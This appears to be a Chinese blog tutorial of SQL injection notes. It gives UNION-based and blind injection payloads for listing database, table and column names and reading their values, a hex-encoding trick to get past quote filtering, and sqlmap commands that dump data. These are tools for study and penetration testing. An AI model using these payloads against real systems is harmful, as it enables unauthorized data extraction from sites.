当前位置: 首页 > java >正文

SQL注入基础

普通sql注入:后台能提供有价值的错误信息,显示在页面
    手动注入
        1. 寻找sql注入点
            get注入
                ?id=xx 
                url后加'测试是否存在注入漏洞,报错则存在
            post注入
                 把参数封装在数据包中提交
                 寻找post表单:文本框,单选按钮,复选框,文件浏览,提交按钮
                 文本框内容加'测试是否存在漏洞,报错则存在
        2. 确认注入点类型(查询语句是否带'')
            数字型
                url后加 and 1=1 正常返回数据
                url后加 and 1=2 查不到数据
            字符型
                url后加 ' and 1=1# 正常返回数据
                url后加 ' and 1=2# 查不到数据
        3. 猜当前页面查询的字段总数
            order by n     逐渐加大n,直到报错
        4. 查询页面显示了哪几个字段
            url后加 and 1=2 union select 1,2,3,4,5...n
            页面中会显示相应字段出现的位置
        5. 查询当前数据库名称
            url后加 and 1=2 union select 1,2,database(),4,5...n
            3号位置显示数据库名称
        6. 查询数据库中了所有表名(mysql)
            url后加 and 1=2 union select 1,2,group_concat(table_name),4,5...n from information_schema.tables where table_schema = database()
            information_schema: mysql数据库在系统中自动创建的一个库,统计了系统中所有数据库及其数据表
        7. 查询指定表中所有字段名称
            url后加 and 1=2 union select 1,2,group_concat(column_name),4,5...n from information_schema.columns where table_name = '查询的表名'
        8. 查询指定字段的值
            url后加 and 1=2 union select 1,2,字段名,字段名,4,5...n from '表名' limit 1,1
            limit N,M : 从第 N (从0开始)条记录开始, 返回 M 条记录。

    绕过防御
        转义字符:后台可能会过滤或转义引号。把引号里的字符进行16进制的HEX转码,就无需再使用引号
        post方式:使用burpsuit抓包


    php防注入
        PDO:php data objects
盲注
    通过仅有的判断信息对表中字段进行探测
    数据库不一定是mysql,没有information_schema库
    类型
        布尔型盲注:页面可以反馈判断的对错
        延时型盲注:页面无反馈,使用sleep函数观察页面是否有延时    
    1. 寻找sql注入点
            get注入
                ?id=xx 
                url后加'测试是否存在注入漏洞,报错则存在
            post注入
                 把参数封装在数据包中提交
                 寻找post表单:文本框,单选按钮,复选框,文件浏览,提交按钮
                 文本框内容加'测试是否存在漏洞,报错则存在
    2. 确定注入点类型
        数字型
                url后加 and 1=1 正常返回数据
                url后加 and 1=2 查不到数据
        字符型
                url后加 ' and 1=1# 正常返回数据
                url后加 ' and 1=2# 查不到数据
    3. 猜数据库名的长度
        and length(database())=n  n逐渐增大
    4. 猜数据库名的单个字符
        ' and ascii(substr(database(),1,1))>97
        ' and ascii(substr(database(),1,1))<122
        通过ascii码值逐渐调整找到该字符
        注意:此substr是mysql函数,起始位置从1开始;在php中是从0开始
    5. 逐个猜出数据库名
    6. 猜该数据库有多少张表
        ' and (select count(table_name) from information_schema.tables where table_schema=database())=n
        逐渐增大n,找到表的数量
    7. 猜第一张表名的长度
        ' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1
        逐渐增大n,找到第一个表名的长度
    8. 猜第一张表,第一个字符
    9. 猜出完整表名
    10. 猜第n张表名
    11. 猜目标表的总字段数
    12. 猜字段名
    13. 猜字段值

注入工具(原理与手动注入一致)
    sqlmap注入
        get注入
            sqlmap -u 'url' --dbs    获取数据库名
            sqlmap -u 'url' -D 数据库名 --tables  获取指定数据库下的表名
            sqlmap -u 'url' -D 数据库名 -T 表名 --columns  获取指定表的字段名
            sqlmap -u 'url' -D 数据库名 -T 表名 -C 字段名,字段名 --dump  获取指定字段的值
        post注入(burpsuit开代理截取post包)
            sqlmap -r post包文件路径 --dbs  获取数据库名
            sqlmap -r post包文件路径 -D 数据库名 --tables  获取指定数据库下的表名
            sqlmap -r post包文件路径 -D 数据库名 -T 表名 --columns  获取指定表的字段名
            sqlmap -r post包文件路径 -D 数据库名 -T 表名 -C 字段名,字段名 --dump  获取指定字段的值
    啊D
    明小子旁注
    metasploit

http://www.xdnf.cn/news/8583.html

相关文章:

  • vue+threeJs 创造镂空管状
  • 配置tomcat时,无法部署工件该怎么办?
  • 深度学习损失“三位一体”——从 Fisher 的最大似然到 Shannon 的交叉熵再到 KL 散度,并走进 PET·P-Tuning微调·知识蒸馏的实战
  • Selenium自动化测试网页加载太慢如何解决?
  • 基于netty实现视频流式传输和多线程传输
  • 大模型的上下文context到底是啥
  • 环境搭建与工具配置
  • 博客打卡-八皇后问题
  • 用go从零构建写一个RPC(3)--异步调用+多路复用实现
  • 分布式事务知识点整理
  • ubuntu ollama /Dify/Docker部署大模型
  • 在单片机中如何在断电前将数据保存至DataFlash?
  • [docker]更新容器中镜像版本
  • Reason-ModernColBERT论文速览:Sentence- bert-基于孪生bert网络的句子嵌入
  • 【Web前端】jQuery入门与基础(一)
  • 【GESP】C++三级真题 luogu-B4039 [GESP202409 三级] 回文拼接
  • Python中tqdm进度条工具和enumerate函数的使用详解
  • 关于读取CH584单片机的IO电平出现到的乌龙
  • 从零开始:Python语言进阶之异常处理
  • vscode | Trae【实用插件】Remove empty lines 保存文件时删除空行
  • 2942. 查找包含给定字符的单词
  • 【Excel 扩展正则的能力】工作中赋予处理单元格文本的强大正则表达提取能力
  • R基于逻辑回归模型实现心脏病检测及SHAP值解释项目实战
  • R语言科研编程-标准偏差柱状图
  • A-Teacher: Asymmetric Network for 3D Semi-Supervised Object Detection
  • 传统医疗系统文档集中标准化存储和AI智能化更新路径分析
  • 曲面造型画图技能(1)标准曲面创建与基本操作
  • 嵌入大模型与LLM技术全面解析与实战指南
  • 前端表单中 `readOnly` 和 `disabled` 属性的区别
  • 由数据范围反推目标算法